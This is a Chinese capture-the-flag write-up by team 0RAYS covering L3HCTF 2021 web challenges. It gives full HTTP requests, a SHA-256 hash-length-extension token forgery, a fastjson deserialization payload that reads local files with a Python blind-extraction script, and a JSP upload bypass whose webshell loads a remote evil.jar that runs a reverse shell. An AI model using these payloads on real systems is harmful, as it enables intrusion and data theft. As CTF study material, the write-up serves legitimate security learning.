0RAYS-L3HCTF2021 writeup-web-安全客

Easy PHP

页面看起来没毛病复制一下就发现有问题

看响应包hex 再url编码即可

GET /?username=admin&%e2%80%ae%e2%81%a6%4c%33%48%e2%81%a9%e2%81%a6%70%61%73%73%77%6f%72%64=%e2%80%ae%e2%81%a6%43%54%46%e2%81%a9%e2%81%a6%6c%33%68%63%74%66 HTTP/1.1
Host: 124.71.176.131:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

Image Service 1

可以看到他人分享的链接

admin不可以 Admin成功

image Service 2

分析

可以发现flag2是模糊的
可以从该分享链接的参数中发现原因

http://121.36.209.245:10002/get?blur=20&text=secret&textsize=50&token=782dd8dd3be70e52374f188814b561cecb4a26350729d924d6606c918bc803bd&uuid=e19d069a-652a-471d-8c83-79010b5aaf66&x1=200&y1=200

blur=20 是控制模糊的参数
x1=200&y1=200 对图片进行了裁切只能看到图片的一部分
text=secret 即为图片经过高斯模糊后覆盖的文字内容
因为在service会对请求参数与token校验
所以应该要分析出token是怎么生成的，然后伪造token

程序

~~不会有web手不会用ida和gdb吧~~

ida打开找到token函数分析了一下猜测会把 APP_SECRET 和所有请求参数拼接然后sha256一下

但是这里看不出来如何拼接拼接的格式

所以还是要动调
service和app都调了一下
拼接内容很容易就可以看出

大概如下

map[blur:[20] height:[1000] text:[] textcolor:[FFFFFF] textsize:[0] thumbnail:[false] uuid:[c314a3f2-1b14-40e6-8a9d-94acef8d1ac3] width:[1000] x0:[0] x1:[0] y0:[0] y1:[0]]

解法一 hash长度扩展攻击

原理

hash长度扩展攻击的基本场景：

~~网上很多讲的很难理解~~

简单来说已知 message 及 hash(secret_key+message)

那么通过这种攻击手段可以构造得到 message+一些奇怪的字符+自定义字符 及 hash(secret_key+message+一些奇怪的字符+自定义字符)

实际场景可能比较复杂可能涉及到一些解析漏洞等，但是原理就是上面的

工具

hash_extender

输入

data 对应 message的
signature 对应 hash(secret_key+message)
secret 对应 secret_key的长度
append 对应自定义字符

./hash_extender --data "map[blur:[20] text:[secret] textsize:[50] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[200] y1:[200]]" --secret 16 --append "] textcolor:[FFFFFF] textsize:[0] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[1000] y1:[1000]]" --signature "6332c92d31ee3effa8185d11035bdcaace30d3dbc8a937a38b8276f478fac740" --format sha256

输出

New signature 对应 hash(secret_key+message+一些奇怪的字符+自定义字符)
New string 对应 message+一些奇怪的字符+自定义字符

Type: sha256
Secret length: 16
New signature: 11e37f66cbaba0d326359dca220ce44c3a1895adf5eb8a73900a4f68ce4588c8
New string: 6d61705b626c75723a5b32305d20746578743a5b7365637265745d207465787473697a653a5b35305d20757569643a5b62396266316137382d616530652d346234342d383566302d6531663037656465303136355d2078313a5b3230305d2079313a5b3230305d5d8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c05d2074657874636f6c6f723a5b4646464646465d207465787473697a653a5b305d20757569643a5b62396266316137382d616530652d346234342d383566302d6531663037656465303136355d2078313a5b313030305d2079313a5b313030305d5d

做题

根据上面的对应关系使用工具

./hash_extender --data "map[blur:[20] text:[secret] textsize:[50] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[200] y1:[200]]" --secret 16 --append "] textcolor:[FFFFFF] textsize:[0] uuid:[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165] x1:[1000] y1:[1000]]" --signature "6332c92d31ee3effa8185d11035bdcaace30d3dbc8a937a38b8276f478fac740" --format sha256

生成的内容改一下请求再发包即可

GET /get?blur=20&text=secret]+textsize%3a[50]+uuid%3a[b9bf1a78-ae0e-4b44-85f0-e1f07ede0165]+x1%3a[200]+y1%3a[200]]%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%c0&textcolor=FFFFFF&textsize=0&token=11e37f66cbaba0d326359dca220ce44c3a1895adf5eb8a73900a4f68ce4588c8&uuid=b9bf1a78-ae0e-4b44-85f0-e1f07ede0165&x1=1000&y1=1000 HTTP/1.1
Host: 121.36.209.245:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

构造上稍微需要一些技巧
此种解法无法获取清晰的flag 无法去掉blur参数所以最后只能硬看flag

解法二直接构造

此种解法来自与ha1师傅赛后讨论 ~~ha1yyds~~

借助题目生成token，再配合一下解析漏洞，此处的构造十分巧妙

flag2 uuid 3859089e-67cb-444d-9dfd-9c4b91b2f6c0
自己图片 uuid a4bf20a9-9b29-47db-87cd-57b384bf8f9e

生成share

POST /api/share/new HTTP/1.1
Host: 121.36.209.245:10001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20510454632674357453543241695
Content-Length: 364
Origin: http://121.36.209.245:10001
Connection: close
Referer: http://121.36.209.245:10001/share
Cookie: session=MTYzNzAyNDgwMXxEdi1CQkFFQ180SUFBUkFCRUFBQUhQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUVkV2x1ZEFZQ0FBST18Sf7Kozgbni82LyMsTGy7ATR6aY5RaG1_aexev9UqkAw=

-----------------------------20510454632674357453543241695
Content-Disposition: form-data; name="text"

233] uuid:[3859089e-67cb-444d-9dfd-9c4b91b2f6c0 
-----------------------------20510454632674357453543241695
Content-Disposition: form-data; name="uuid"

a4bf20a9-9b29-47db-87cd-57b384bf8f9e
-----------------------------20510454632674357453543241695--

那么在后端hash的内容为

map[text:[233] uuid:[3859089e-67cb-444d-9dfd-9c4b91b2f6c0 ] uuid:[a4bf20a9-9b29-47db-87cd-57b384bf8f9e]]

题目返回token

0b13728c6840122a52fa9ccd63838d1e847b4d7fccd0000414d38c42c2d33c21

此处构造与share原文一样的payload（后端拼接后与上面share拼接后的一样），获取图片，就能看到很清晰的flag了

/get?text=233&uuid=3859089e-67cb-444d-9dfd-9c4b91b2f6c0&uuid=]+uuid%3a[a4bf20a9-9b29-47db-87cd-57b384bf8f9e&token=0b13728c6840122a52fa9ccd63838d1e847b4d7fccd0000414d38c42c2d33c21

cover

弱口令登录admin admin

有fastjson。打fastjson

原理请看

https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///D:/1.txt"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [66]
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

文章中的payload是这样的，我们给他外面套上一层

[{"password":{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///flag"},"charsetName":"UTF-8","bufferSize":1024},"boms":[{"charsetName":"UTF-8","bytes":[76]}]},"address":{"$ref":"$.abc.BOM"}}}]

这样就有回显了。根据回显盲注出flag

import requests
session = requests.session()
burp0_url = "http://124.71.173.23:8088/dynamic_table"
burp0_cookies = {"JSESSIONID": "129453A7ADA22FE7EFCA43989BBD7DB3"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
                 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
                 "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded",
                 "Origin": "http://124.71.173.23:8088", "Connection": "close",
                 "Referer": "http://124.71.173.23:8088/dynamic_table", "Upgrade-Insecure-Requests": "1"}
lllll = ['76']
proxies = {
    "http": "http://127.0.0.1:8084",
    "https": "http://127.0.0.1:8084"
}
for i in range(45):
    for j in range(32, 127):
        burp0_data = {
            "data": "[{\"password\":{\"abc\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":{\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"file:///flag\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"boms\":[{\"charsetName\":\"UTF-8\",\"bytes\":[" + ",".join(
                lllll)+','+str(j)+"]}]},\"address\":{\"$ref\":\"$.abc.BOM\"}}}]"}
        r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,proxies=proxies)
        if "charsetName" in r.text:
            print(chr(j),end='')
            lllll.append(str(j))

bypass

jsp文件上传，不能上传可见字符。这里随便一种编码就行，比如UTF-16BE编码。

https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/10/README.md

把这里的代码修改一下，只留下关键代码，来绕过waf。

上传jsp，双写绕后缀

shell.jsjspp

<%@ page language="java" pageEncoding="UTF-16BE" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="java.util.ServiceLoader" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
   Class clazz = Class.forName("javax.script.ScriptEng"+"ineFactory");
   Iterator serviceLoader = ServiceLoader.load(clazz, new URLClassLoader(new URL[]{new URL("http://ip:port/evil.jar")})).iterator();
   while (serviceLoader.hasNext()){
      serviceLoader.next();
   }
%>

evil中
EvilScript.java

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;

public class EvilScript implements ScriptEngineFactory {

  public EvilScript() throws Throwable {
    StringBuilder stringBuilder = new StringBuilder();
    try {
      Runtime.getRuntime().exec("反弹shell命令");
    } catch (Throwable e) {
      e.printStackTrace();
    }
    throw new Throwable(stringBuilder.toString());
  }

  @Override
  public String getEngineName() {
    return null;
  }

  @Override
  public String getEngineVersion() {
    return null;
  }

  @Override
  public List<String> getExtensions() {
    return null;
  }

  @Override
  public List<String> getMimeTypes() {
    return null;
  }

  @Override
  public List<String> getNames() {
    return null;
  }

  @Override
  public String getLanguageName() {
    return null;
  }

  @Override
  public String getLanguageVersion() {
    return null;
  }

  @Override
  public Object getParameter(String key) {
    return null;
  }

  @Override
  public String getMethodCallSyntax(String obj, String m, String... args) {
    return null;
  }

  @Override
  public String getOutputStatement(String toDisplay) {
    return null;
  }

  @Override
  public String getProgram(String... statements) {
    return null;
  }

  @Override
  public ScriptEngine getScriptEngine() {
    return null;
  }
}

打包

javac EvilScript.java
jar -cvf evil.jar META-INF EvilScript.class

jar包结构

上传后访问jsp,反弹shell

0RAYS-L3HCTF2021 writeup-web

译文声明

Easy PHP

Image Service 1

image Service 2

分析

程序

解法一 hash长度扩展攻击

原理

工具

做题

解法二直接构造

cover

bypass

发表评论

TA的文章

0RAYS-L3HCTF2021 writeup-pwn

0RAYS-L3HCTF2021 writeup-web

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0RAYS-L3HCTF2021 writeup-web

译文声明

Easy PHP

Image Service 1

image Service 2

分析

程序

解法一 hash长度扩展攻击

原理

工具

做题

解法二 直接构造

cover

bypass

发表评论

TA的文章

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解法二直接构造